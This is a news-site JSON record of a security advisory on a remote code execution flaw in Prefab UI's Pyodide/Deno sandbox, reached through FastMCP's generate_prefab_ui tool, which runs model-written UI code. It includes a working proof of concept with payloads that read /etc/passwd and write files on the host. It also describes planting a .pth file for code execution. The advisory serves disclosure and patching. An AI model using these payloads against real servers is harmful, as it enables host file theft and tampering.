{"slug": "prefab-ui-is-vulnerable-to-remote-code-execution-via-a-pyodide-js-bridge-to-deno", "title": "Prefab UI is vulnerable to Remote Code Execution via a Pyodide js Bridge to Deno", "summary": "Prefab UI versions 0.14.0 through 0.20.2 run caller-supplied Python in a Pyodide sandbox with unrestricted Deno --allow-read, --allow-write and --allow-net permissions, letting code submitted through FastMCP's generate_prefab_ui tool read and write host files as the server OS user, according to a published advisory. The flaw scores CVSS 10.0 when the FastMCP server has no authentication and 9.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) for an authenticated tool caller; on 0.20.2 the write was used to plant a .pth file in the server virtualenv's site-packages that executed on the next Python process. Prefab UI 0.21.0 fixes the issue by revoking Deno filesystem read, filesystem write and network permissions after startup, before the sandbox accepts code.", "body_md": "## [Summary](#summary)\n\nPrefab UI is vulnerable to Remote Code Execution via a Pyodide js Bridge to Deno\n\n## [Component](#component)\n\nprefab-ui (github.com/PrefectHQ/prefab)\n\n## [Affected versions](#affected-versions)\n\n= 0.14.0, < 0.21.0\n\n## [Description](#description)\n\nPrefab UI's Generative UI sandbox runs caller-supplied Python inside Pyodide, which is Python compiled to WebAssembly, in a Deno subprocess. The feature is documented as isolation for untrusted code, including UI written by a model. `PyodideSandbox._start` in `src/prefab_ui/sandbox/_pyodide.py` starts that process with unrestricted `--allow-read`, `--allow-write`, and `--allow-net`. The runner in `src/prefab_ui/sandbox/runner.js` leaves the Deno API on the JavaScript global object. Pyodide's `js` module proxies that global, so the Python can call `Deno.readTextFileSync` and `Deno.writeTextFileSync` on the host. The runner comment and the public docs describe this process as read-only.\n\nThe usual remote path is FastMCP's `GenerativeUI` provider. It registers the MCP tool `generate_prefab_ui` and forwards the tool's `code` argument into this sandbox. There is no extra check on that tool. On a FastMCP server with no authentication configured, any client who can reach the server can call it. With authentication, any client allowed to call tools can. The 10.0 score is the unauthenticated case. The same bug with an authenticated tool caller scores 9.9 (`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`). Generative UI is opt-in, and the host must have Deno installed. Servers that never execute untrusted code in this sandbox are not exposed.\n\nA caller who can submit the code can read and write files as the server OS user. On prefab-ui 0.20.2 the same write was used to plant a `.pth` file in the server virtualenv's `site-packages`, and the next Python process that used that environment ran the planted import. The sandbox shipped in 0.14.0 with those Deno permissions, and they were still present in 0.20.2. prefab-ui 0.21.0 revokes read, write, and network permission after startup, before it accepts code.\n\n## [PoC](#poc)\n\n**Step 1 - Install the vulnerable release**\n\nDeno must be on `PATH`. The sandbox does not start without it.\n\n```\npip install 'prefab-ui==0.20.2' 'fastmcp[apps]'\n```\n\n**Step 2 - Start a FastMCP server with Generative UI and no authentication**\n\n``` python\nfrom fastmcp import FastMCP\nfrom fastmcp.apps.generative import GenerativeUI\n\nmcp = FastMCP(\"poc\")\nmcp.add_provider(GenerativeUI())\nmcp.run(transport=\"http\", host=\"127.0.0.1\", port=8127)\n```\n\n**Step 3 - Call generate_prefab_ui**\n\nThe read returns the host file inside the rendered text. The write creates `/tmp/prefab-ui-sandbox-proof.txt`.\n\n``` python\nimport asyncio\nfrom fastmcp import Client\n\nREAD = \"\"\"\nimport js\nfrom prefab_ui.components import Text\nsecret = js.Deno.readTextFileSync(\"/etc/passwd\")\nleak = Text(\"EXFIL_BEGIN\" + secret + \"EXFIL_END\")\n\"\"\"\n\nWRITE = \"\"\"\nimport js\nfrom prefab_ui.components import Text\njs.Deno.writeTextFileSync(\"/tmp/prefab-ui-sandbox-proof.txt\", \"owned\\\\n\")\ndone = Text(\"write-ok\")\n\"\"\"\n\nasync def main():\n    async with Client(\"http://127.0.0.1:8127/mcp/\") as client:\n        print(await client.call_tool(\"generate_prefab_ui\", {\"code\": READ}))\n        await client.call_tool(\"generate_prefab_ui\", {\"code\": WRITE})\n\nasyncio.run(main())\n```\n\n**Step 4 - Confirm the host file**\n\n```\ncat /tmp/prefab-ui-sandbox-proof.txt\n```\n\nExpected output on prefab-ui 0.20.2. The tool result contains the host passwd file between the markers, and the new file is on the host:\n\n```\nEXFIL_BEGIN\n# User Database\n...\nroot:*:0:0:System Administrator:...\nEXFIL_END\n\nowned\n```\n\nOn prefab-ui 0.21.0 or later, the same read and write fail with a Deno permission error and do not return or create the host file.\n\n## [Vulnerability Mitigations](#vulnerability-mitigations)\n\nUpgrade prefab-ui to 0.21.0 or later. After the runtime and Prefab sources load, the runner revokes Deno filesystem read, filesystem write, and network permission before it accepts generated code. The process is started with `--no-prompt`, so a later permission request cannot grant them again, and bootstrap network access is limited to `cdn.jsdelivr.net:443`. FastMCP servers that register `GenerativeUI` pick up the fix by running that prefab-ui release.\n\nThe change is [https://github.com/PrefectHQ/prefab/pull/538](https://github.com/PrefectHQ/prefab/pull/538), commit 030f074f85e0b1be0dd44b0283185aecb26337a2, released on 2026-10-26 as v0.21.0.\n\nUntil the upgrade, do not register `GenerativeUI` on a server that untrusted clients can reach.", "url": "https://wpnews.pro/news/prefab-ui-is-vulnerable-to-remote-code-execution-via-a-pyodide-js-bridge-to-deno", "canonical_source": "https://research.jfrog.com/vulnerabilities/prefab-ui-is-vulnerable-to-remote-code-execution-via-a-pyodide-js-bridge-to-deno-cve-2026-120338-jfsa-2026-001699278/", "published_at": "2026-11-01 00:00:00+00:00", "updated_at": "2026-11-01 15:50:33.101848+00:00", "lang": "en", "topics": ["ai-safety", "ai-agents", "ai-tools", "developer-tools"], "entities": ["Prefab UI", "PrefectHQ", "Pyodide", "Deno", "FastMCP", "GenerativeUI", "generate_prefab_ui"], "also_reported_by": [], "alternates": {"html": "https://wpnews.pro/news/prefab-ui-is-vulnerable-to-remote-code-execution-via-a-pyodide-js-bridge-to-deno", "markdown": "https://wpnews.pro/news/prefab-ui-is-vulnerable-to-remote-code-execution-via-a-pyodide-js-bridge-to-deno.md", "text": "https://wpnews.pro/news/prefab-ui-is-vulnerable-to-remote-code-execution-via-a-pyodide-js-bridge-to-deno.txt", "jsonld": "https://wpnews.pro/news/prefab-ui-is-vulnerable-to-remote-code-execution-via-a-pyodide-js-bridge-to-deno.jsonld"}}